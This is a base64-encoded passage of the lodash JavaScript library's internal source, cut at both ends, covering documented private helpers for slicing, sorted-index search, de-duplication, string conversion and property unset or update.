biBvYmplY3Q7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYHNldERhdGFgIHdpdGhvdXQgc3VwcG9ydCBmb3IgaG90IGxvb3Agc2hvcnRpbmcuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGFzc29jaWF0ZSBtZXRhZGF0YSB3aXRoLlxuICAgICAqIEBwYXJhbSB7Kn0gZGF0YSBUaGUgbWV0YWRhdGEuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIGBmdW5jYC5cbiAgICAgKi9cbiAgICB2YXIgYmFzZVNldERhdGEgPSAhbWV0YU1hcCA/IGlkZW50aXR5IDogZnVuY3Rpb24oZnVuYywgZGF0YSkge1xuICAgICAgbWV0YU1hcC5zZXQoZnVuYywgZGF0YSk7XG4gICAgICByZXR1cm4gZnVuYztcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYHNldFRvU3RyaW5nYCB3aXRob3V0IHN1cHBvcnQgZm9yIGhvdCBsb29wIHNob3J0aW5nLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBtb2RpZnkuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gc3RyaW5nIFRoZSBgdG9TdHJpbmdgIHJlc3VsdC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgYGZ1bmNgLlxuICAgICAqL1xuICAgIHZhciBiYXNlU2V0VG9TdHJpbmcgPSAhZGVmaW5lUHJvcGVydHkgPyBpZGVudGl0eSA6IGZ1bmN0aW9uKGZ1bmMsIHN0cmluZykge1xuICAgICAgcmV0dXJuIGRlZmluZVByb3BlcnR5KGZ1bmMsICd0b1N0cmluZycsIHtcbiAgICAgICAgJ2NvbmZpZ3VyYWJsZSc6IHRydWUsXG4gICAgICAgICdlbnVtZXJhYmxlJzogZmFsc2UsXG4gICAgICAgICd2YWx1ZSc6IGNvbnN0YW50KHN0cmluZyksXG4gICAgICAgICd3cml0YWJsZSc6IHRydWVcbiAgICAgIH0pO1xuICAgIH07XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5zaHVmZmxlYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gc2h1ZmZsZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBzaHVmZmxlZCBhcnJheS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlU2h1ZmZsZShjb2xsZWN0aW9uKSB7XG4gICAgICByZXR1cm4gc2h1ZmZsZVNlbGYodmFsdWVzKGNvbGxlY3Rpb24pKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5zbGljZWAgd2l0aG91dCBhbiBpdGVyYXRlZSBjYWxsIGd1YXJkLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gc2xpY2UuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtzdGFydD0wXSBUaGUgc3RhcnQgcG9zaXRpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtlbmQ9YXJyYXkubGVuZ3RoXSBUaGUgZW5kIHBvc2l0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgc2xpY2Ugb2YgYGFycmF5YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlU2xpY2UoYXJyYXksIHN0YXJ0LCBlbmQpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IGFycmF5Lmxlbmd0aDtcblxuICAgICAgaWYgKHN0YXJ0IDwgMCkge1xuICAgICAgICBzdGFydCA9IC1zdGFydCA+IGxlbmd0aCA/IDAgOiAobGVuZ3RoICsgc3RhcnQpO1xuICAgICAgfVxuICAgICAgZW5kID0gZW5kID4gbGVuZ3RoID8gbGVuZ3RoIDogZW5kO1xuICAgICAgaWYgKGVuZCA8IDApIHtcbiAgICAgICAgZW5kICs9IGxlbmd0aDtcbiAgICAgIH1cbiAgICAgIGxlbmd0aCA9IHN0YXJ0ID4gZW5kID8gMCA6ICgoZW5kIC0gc3RhcnQpID4+PiAwKTtcbiAgICAgIHN0YXJ0ID4+Pj0gMDtcblxuICAgICAgdmFyIHJlc3VsdCA9IEFycmF5KGxlbmd0aCk7XG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICByZXN1bHRbaW5kZXhdID0gYXJyYXlbaW5kZXggKyBzdGFydF07XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnNvbWVgIHdpdGhvdXQgc3VwcG9ydCBmb3IgaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheXxPYmplY3R9IGNvbGxlY3Rpb24gVGhlIGNvbGxlY3Rpb24gdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IHByZWRpY2F0ZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhbnkgZWxlbWVudCBwYXNzZXMgdGhlIHByZWRpY2F0ZSBjaGVjayxcbiAgICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VTb21lKGNvbGxlY3Rpb24sIHByZWRpY2F0ZSkge1xuICAgICAgdmFyIHJlc3VsdDtcblxuICAgICAgYmFzZUVhY2goY29sbGVjdGlvbiwgZnVuY3Rpb24odmFsdWUsIGluZGV4LCBjb2xsZWN0aW9uKSB7XG4gICAgICAgIHJlc3VsdCA9IHByZWRpY2F0ZSh2YWx1ZSwgaW5kZXgsIGNvbGxlY3Rpb24pO1xuICAgICAgICByZXR1cm4gIXJlc3VsdDtcbiAgICAgIH0pO1xuICAgICAgcmV0dXJuICEhcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnNvcnRlZEluZGV4YCBhbmQgYF8uc29ydGVkTGFzdEluZGV4YCB3aGljaFxuICAgICAqIHBlcmZvcm1zIGEgYmluYXJ5IHNlYXJjaCBvZiBgYXJyYXlgIHRvIGRldGVybWluZSB0aGUgaW5kZXggYXQgd2hpY2ggYHZhbHVlYFxuICAgICAqIHNob3VsZCBiZSBpbnNlcnRlZCBpbnRvIGBhcnJheWAgaW4gb3JkZXIgdG8gbWFpbnRhaW4gaXRzIHNvcnQgb3JkZXIuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBzb3J0ZWQgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBldmFsdWF0ZS5cbiAgICAgKiBAcGFyYW0ge2Jvb2xlYW59IFtyZXRIaWdoZXN0XSBTcGVjaWZ5IHJldHVybmluZyB0aGUgaGlnaGVzdCBxdWFsaWZpZWQgaW5kZXguXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgaW5kZXggYXQgd2hpY2ggYHZhbHVlYCBzaG91bGQgYmUgaW5zZXJ0ZWRcbiAgICAgKiAgaW50byBgYXJyYXlgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VTb3J0ZWRJbmRleChhcnJheSwgdmFsdWUsIHJldEhpZ2hlc3QpIHtcbiAgICAgIHZhciBsb3cgPSAwLFxuICAgICAgICAgIGhpZ2ggPSBhcnJheSA9PSBudWxsID8gbG93IDogYXJyYXkubGVuZ3RoO1xuXG4gICAgICBpZiAodHlwZW9mIHZhbHVlID09ICdudW1iZXInICYmIHZhbHVlID09PSB2YWx1ZSAmJiBoaWdoIDw9IEhBTEZfTUFYX0FSUkFZX0xFTkdUSCkge1xuICAgICAgICB3aGlsZSAobG93IDwgaGlnaCkge1xuICAgICAgICAgIHZhciBtaWQgPSAobG93ICsgaGlnaCkgPj4+IDEsXG4gICAgICAgICAgICAgIGNvbXB1dGVkID0gYXJyYXlbbWlkXTtcblxuICAgICAgICAgIGlmIChjb21wdXRlZCAhPT0gbnVsbCAmJiAhaXNTeW1ib2woY29tcHV0ZWQpICYmXG4gICAgICAgICAgICAgIChyZXRIaWdoZXN0ID8gKGNvbXB1dGVkIDw9IHZhbHVlKSA6IChjb21wdXRlZCA8IHZhbHVlKSkpIHtcbiAgICAgICAgICAgIGxvdyA9IG1pZCArIDE7XG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGhpZ2ggPSBtaWQ7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiBoaWdoO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGJhc2VTb3J0ZWRJbmRleEJ5KGFycmF5LCB2YWx1ZSwgaWRlbnRpdHksIHJldEhpZ2hlc3QpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnNvcnRlZEluZGV4QnlgIGFuZCBgXy5zb3J0ZWRMYXN0SW5kZXhCeWBcbiAgICAgKiB3aGljaCBpbnZva2VzIGBpdGVyYXRlZWAgZm9yIGB2YWx1ZWAgYW5kIGVhY2ggZWxlbWVudCBvZiBgYXJyYXlgIHRvIGNvbXB1dGVcbiAgICAgKiB0aGVpciBzb3J0IHJhbmtpbmcuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggb25lIGFyZ3VtZW50OyAodmFsdWUpLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgc29ydGVkIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gZXZhbHVhdGUuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbcmV0SGlnaGVzdF0gU3BlY2lmeSByZXR1cm5pbmcgdGhlIGhpZ2hlc3QgcXVhbGlmaWVkIGluZGV4LlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IGF0IHdoaWNoIGB2YWx1ZWAgc2hvdWxkIGJlIGluc2VydGVkXG4gICAgICogIGludG8gYGFycmF5YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlU29ydGVkSW5kZXhCeShhcnJheSwgdmFsdWUsIGl0ZXJhdGVlLCByZXRIaWdoZXN0KSB7XG4gICAgICB2YXIgbG93ID0gMCxcbiAgICAgICAgICBoaWdoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG4gICAgICBpZiAoaGlnaCA9PT0gMCkge1xuICAgICAgICByZXR1cm4gMDtcbiAgICAgIH1cblxuICAgICAgdmFsdWUgPSBpdGVyYXRlZSh2YWx1ZSk7XG4gICAgICB2YXIgdmFsSXNOYU4gPSB2YWx1ZSAhPT0gdmFsdWUsXG4gICAgICAgICAgdmFsSXNOdWxsID0gdmFsdWUgPT09IG51bGwsXG4gICAgICAgICAgdmFsSXNTeW1ib2wgPSBpc1N5bWJvbCh2YWx1ZSksXG4gICAgICAgICAgdmFsSXNVbmRlZmluZWQgPSB2YWx1ZSA9PT0gdW5kZWZpbmVkO1xuXG4gICAgICB3aGlsZSAobG93IDwgaGlnaCkge1xuICAgICAgICB2YXIgbWlkID0gbmF0aXZlRmxvb3IoKGxvdyArIGhpZ2gpIC8gMiksXG4gICAgICAgICAgICBjb21wdXRlZCA9IGl0ZXJhdGVlKGFycmF5W21pZF0pLFxuICAgICAgICAgICAgb3RoSXNEZWZpbmVkID0gY29tcHV0ZWQgIT09IHVuZGVmaW5lZCxcbiAgICAgICAgICAgIG90aElzTnVsbCA9IGNvbXB1dGVkID09PSBudWxsLFxuICAgICAgICAgICAgb3RoSXNSZWZsZXhpdmUgPSBjb21wdXRlZCA9PT0gY29tcHV0ZWQsXG4gICAgICAgICAgICBvdGhJc1N5bWJvbCA9IGlzU3ltYm9sKGNvbXB1dGVkKTtcblxuICAgICAgICBpZiAodmFsSXNOYU4pIHtcbiAgICAgICAgICB2YXIgc2V0TG93ID0gcmV0SGlnaGVzdCB8fCBvdGhJc1JlZmxleGl2ZTtcbiAgICAgICAgfSBlbHNlIGlmICh2YWxJc1VuZGVmaW5lZCkge1xuICAgICAgICAgIHNldExvdyA9IG90aElzUmVmbGV4aXZlICYmIChyZXRIaWdoZXN0IHx8IG90aElzRGVmaW5lZCk7XG4gICAgICAgIH0gZWxzZSBpZiAodmFsSXNOdWxsKSB7XG4gICAgICAgICAgc2V0TG93ID0gb3RoSXNSZWZsZXhpdmUgJiYgb3RoSXNEZWZpbmVkICYmIChyZXRIaWdoZXN0IHx8ICFvdGhJc051bGwpO1xuICAgICAgICB9IGVsc2UgaWYgKHZhbElzU3ltYm9sKSB7XG4gICAgICAgICAgc2V0TG93ID0gb3RoSXNSZWZsZXhpdmUgJiYgb3RoSXNEZWZpbmVkICYmICFvdGhJc051bGwgJiYgKHJldEhpZ2hlc3QgfHwgIW90aElzU3ltYm9sKTtcbiAgICAgICAgfSBlbHNlIGlmIChvdGhJc051bGwgfHwgb3RoSXNTeW1ib2wpIHtcbiAgICAgICAgICBzZXRMb3cgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICBzZXRMb3cgPSByZXRIaWdoZXN0ID8gKGNvbXB1dGVkIDw9IHZhbHVlKSA6IChjb21wdXRlZCA8IHZhbHVlKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoc2V0TG93KSB7XG4gICAgICAgICAgbG93ID0gbWlkICsgMTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICBoaWdoID0gbWlkO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gbmF0aXZlTWluKGhpZ2gsIE1BWF9BUlJBWV9JTkRFWCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uc29ydGVkVW5pcWAgYW5kIGBfLnNvcnRlZFVuaXFCeWAgd2l0aG91dFxuICAgICAqIHN1cHBvcnQgZm9yIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZHVwbGljYXRlIGZyZWUgYXJyYXkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZVNvcnRlZFVuaXEoYXJyYXksIGl0ZXJhdGVlKSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICBsZW5ndGggPSBhcnJheS5sZW5ndGgsXG4gICAgICAgICAgcmVzSW5kZXggPSAwLFxuICAgICAgICAgIHJlc3VsdCA9IFtdO1xuXG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB2YXIgdmFsdWUgPSBhcnJheVtpbmRleF0sXG4gICAgICAgICAgICBjb21wdXRlZCA9IGl0ZXJhdGVlID8gaXRlcmF0ZWUodmFsdWUpIDogdmFsdWU7XG5cbiAgICAgICAgaWYgKCFpbmRleCB8fCAhZXEoY29tcHV0ZWQsIHNlZW4pKSB7XG4gICAgICAgICAgdmFyIHNlZW4gPSBjb21wdXRlZDtcbiAgICAgICAgICByZXN1bHRbcmVzSW5kZXgrK10gPSB2YWx1ZSA9PT0gMCA/IDAgOiB2YWx1ZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy50b051bWJlcmAgd2hpY2ggZG9lc24ndCBlbnN1cmUgY29ycmVjdFxuICAgICAqIGNvbnZlcnNpb25zIG9mIGJpbmFyeSwgaGV4YWRlY2ltYWwsIG9yIG9jdGFsIHN0cmluZyB2YWx1ZXMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHByb2Nlc3MuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgbnVtYmVyLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VUb051bWJlcih2YWx1ZSkge1xuICAgICAgaWYgKHR5cGVvZiB2YWx1ZSA9PSAnbnVtYmVyJykge1xuICAgICAgICByZXR1cm4gdmFsdWU7XG4gICAgICB9XG4gICAgICBpZiAoaXNTeW1ib2wodmFsdWUpKSB7XG4gICAgICAgIHJldHVybiBOQU47XG4gICAgICB9XG4gICAgICByZXR1cm4gK3ZhbHVlO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnRvU3RyaW5nYCB3aGljaCBkb2Vzbid0IGNvbnZlcnQgbnVsbGlzaFxuICAgICAqIHZhbHVlcyB0byBlbXB0eSBzdHJpbmdzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBwcm9jZXNzLlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIHN0cmluZy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlVG9TdHJpbmcodmFsdWUpIHtcbiAgICAgIC8vIEV4aXQgZWFybHkgZm9yIHN0cmluZ3MgdG8gYXZvaWQgYSBwZXJmb3JtYW5jZSBoaXQgaW4gc29tZSBlbnZpcm9ubWVudHMuXG4gICAgICBpZiAodHlwZW9mIHZhbHVlID09ICdzdHJpbmcnKSB7XG4gICAgICAgIHJldHVybiB2YWx1ZTtcbiAgICAgIH1cbiAgICAgIGlmIChpc0FycmF5KHZhbHVlKSkge1xuICAgICAgICAvLyBSZWN1cnNpdmVseSBjb252ZXJ0IHZhbHVlcyAoc3VzY2VwdGlibGUgdG8gY2FsbCBzdGFjayBsaW1pdHMpLlxuICAgICAgICByZXR1cm4gYXJyYXlNYXAodmFsdWUsIGJhc2VUb1N0cmluZykgKyAnJztcbiAgICAgIH1cbiAgICAgIGlmIChpc1N5bWJvbCh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIHN5bWJvbFRvU3RyaW5nID8gc3ltYm9sVG9TdHJpbmcuY2FsbCh2YWx1ZSkgOiAnJztcbiAgICAgIH1cbiAgICAgIHZhciByZXN1bHQgPSAodmFsdWUgKyAnJyk7XG4gICAgICByZXR1cm4gKHJlc3VsdCA9PSAnMCcgJiYgKDEgLyB2YWx1ZSkgPT0gLUlORklOSVRZKSA/ICctMCcgOiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8udW5pcUJ5YCB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2NvbXBhcmF0b3JdIFRoZSBjb21wYXJhdG9yIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZHVwbGljYXRlIGZyZWUgYXJyYXkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZVVuaXEoYXJyYXksIGl0ZXJhdGVlLCBjb21wYXJhdG9yKSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICBpbmNsdWRlcyA9IGFycmF5SW5jbHVkZXMsXG4gICAgICAgICAgbGVuZ3RoID0gYXJyYXkubGVuZ3RoLFxuICAgICAgICAgIGlzQ29tbW9uID0gdHJ1ZSxcbiAgICAgICAgICByZXN1bHQgPSBbXSxcbiAgICAgICAgICBzZWVuID0gcmVzdWx0O1xuXG4gICAgICBpZiAoY29tcGFyYXRvcikge1xuICAgICAgICBpc0NvbW1vbiA9IGZhbHNlO1xuICAgICAgICBpbmNsdWRlcyA9IGFycmF5SW5jbHVkZXNXaXRoO1xuICAgICAgfVxuICAgICAgZWxzZSBpZiAobGVuZ3RoID49IExBUkdFX0FSUkFZX1NJWkUpIHtcbiAgICAgICAgdmFyIHNldCA9IGl0ZXJhdGVlID8gbnVsbCA6IGNyZWF0ZVNldChhcnJheSk7XG4gICAgICAgIGlmIChzZXQpIHtcbiAgICAgICAgICByZXR1cm4gc2V0VG9BcnJheShzZXQpO1xuICAgICAgICB9XG4gICAgICAgIGlzQ29tbW9uID0gZmFsc2U7XG4gICAgICAgIGluY2x1ZGVzID0gY2FjaGVIYXM7XG4gICAgICAgIHNlZW4gPSBuZXcgU2V0Q2FjaGU7XG4gICAgICB9XG4gICAgICBlbHNlIHtcbiAgICAgICAgc2VlbiA9IGl0ZXJhdGVlID8gW10gOiByZXN1bHQ7XG4gICAgICB9XG4gICAgICBvdXRlcjpcbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciB2YWx1ZSA9IGFycmF5W2luZGV4XSxcbiAgICAgICAgICAgIGNvbXB1dGVkID0gaXRlcmF0ZWUgPyBpdGVyYXRlZSh2YWx1ZSkgOiB2YWx1ZTtcblxuICAgICAgICB2YWx1ZSA9IChjb21wYXJhdG9yIHx8IHZhbHVlICE9PSAwKSA/IHZhbHVlIDogMDtcbiAgICAgICAgaWYgKGlzQ29tbW9uICYmIGNvbXB1dGVkID09PSBjb21wdXRlZCkge1xuICAgICAgICAgIHZhciBzZWVuSW5kZXggPSBzZWVuLmxlbmd0aDtcbiAgICAgICAgICB3aGlsZSAoc2VlbkluZGV4LS0pIHtcbiAgICAgICAgICAgIGlmIChzZWVuW3NlZW5JbmRleF0gPT09IGNvbXB1dGVkKSB7XG4gICAgICAgICAgICAgIGNvbnRpbnVlIG91dGVyO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgICBpZiAoaXRlcmF0ZWUpIHtcbiAgICAgICAgICAgIHNlZW4ucHVzaChjb21wdXRlZCk7XG4gICAgICAgICAgfVxuICAgICAgICAgIHJlc3VsdC5wdXNoKHZhbHVlKTtcbiAgICAgICAgfVxuICAgICAgICBlbHNlIGlmICghaW5jbHVkZXMoc2VlbiwgY29tcHV0ZWQsIGNvbXBhcmF0b3IpKSB7XG4gICAgICAgICAgaWYgKHNlZW4gIT09IHJlc3VsdCkge1xuICAgICAgICAgICAgc2Vlbi5wdXNoKGNvbXB1dGVkKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgcmVzdWx0LnB1c2godmFsdWUpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnVuc2V0YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIG1vZGlmeS5cbiAgICAgKiBAcGFyYW0ge0FycmF5fHN0cmluZ30gcGF0aCBUaGUgcHJvcGVydHkgcGF0aCB0byB1bnNldC5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgdGhlIHByb3BlcnR5IGlzIGRlbGV0ZWQsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlVW5zZXQob2JqZWN0LCBwYXRoKSB7XG4gICAgICBwYXRoID0gY2FzdFBhdGgocGF0aCwgb2JqZWN0KTtcbiAgICAgIG9iamVjdCA9IHBhcmVudChvYmplY3QsIHBhdGgpO1xuICAgICAgcmV0dXJuIG9iamVjdCA9PSBudWxsIHx8IGRlbGV0ZSBvYmplY3RbdG9LZXkobGFzdChwYXRoKSldO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnVwZGF0ZWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBtb2RpZnkuXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIHByb3BlcnR5IHRvIHVwZGF0ZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSB1cGRhdGVyIFRoZSBmdW5jdGlvbiB0byBwcm9kdWNlIHRoZSB1cGRhdGVkIHZhbHVlLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjdXN0b21pemVyXSBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIHBhdGggY3JlYXRpb24uXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlVXBkYXRlKG9iamVjdCwgcGF0aCwgdXBkYXRlciwgY3VzdG9taXplcikge1xuICAgICAgcmV0dXJuIGJhc2VTZXQob2JqZWN0LCBwYXRoLCB1cGRhdGVyKGJhc2VHZXQob2JqZWN0LCBwYXRoKSksIGN1c3RvbWl6ZXIpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIG1ldGhvZHMgbGlrZSBgXy5kcm9wV2hpbGVgIGFuZCBgXy50YWtlV2hpbGVgXG4gICAgICogd2l0aG91dCBzdXBwb3J0IGZvciBpdGVyYXRlZSBzaG9ydGhhbmRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gcHJlZGljYXRlIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbaXNEcm9wXSBTcGVjaWZ5IGRyb3BwaW5nIGVsZW1lbnRzIGluc3RlYWQgb2YgdGFraW5nIHRoZW0uXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbZnJvbVJpZ2h0XSBTcGVjaWZ5IGl0ZXJhdGluZyBmcm9tIHJpZ2h0IHRvIGxlZnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBzbGljZSBvZiBgYXJyYXlgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VXaGlsZShhcnJheSwgcHJlZGljYXRlLCBpc0Ryb3AsIGZyb21SaWdodCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgICBpbmRleCA9IGZyb21SaWdodCA/IGxlbmd0aCA6IC0xO1xuXG4gICAgICB3aGlsZSAoKGZyb21SaWdodCA/IGluZGV4LS0gOiArK2luZGV4IDwgbGVuZ3RoKSAmJlxuICAgICAgICBwcmVkaWNhdGUoYXJyYXlbaW5kZXhdLCBpbmRleCwgYXJyYXkpKSB7fVxuXG4gICAgICByZXR1cm4gaXNEcm9wXG4gICAgICAgID8gYmFzZVNsaWNlKGFycmF5LCAoZnJvbVJpZ2h0ID8gMCA6IGluZGV4KSwgKGZyb21SaWdodCA/IGluZGV4ICsgMSA6IGxlbmd0aCkpXG4gICAgICAgIDogYmFzZVNsaWNlKGFycmF5LCAoZnJvbVJpZ2h0ID8gaW5kZXggKyAxIDogMCksIChm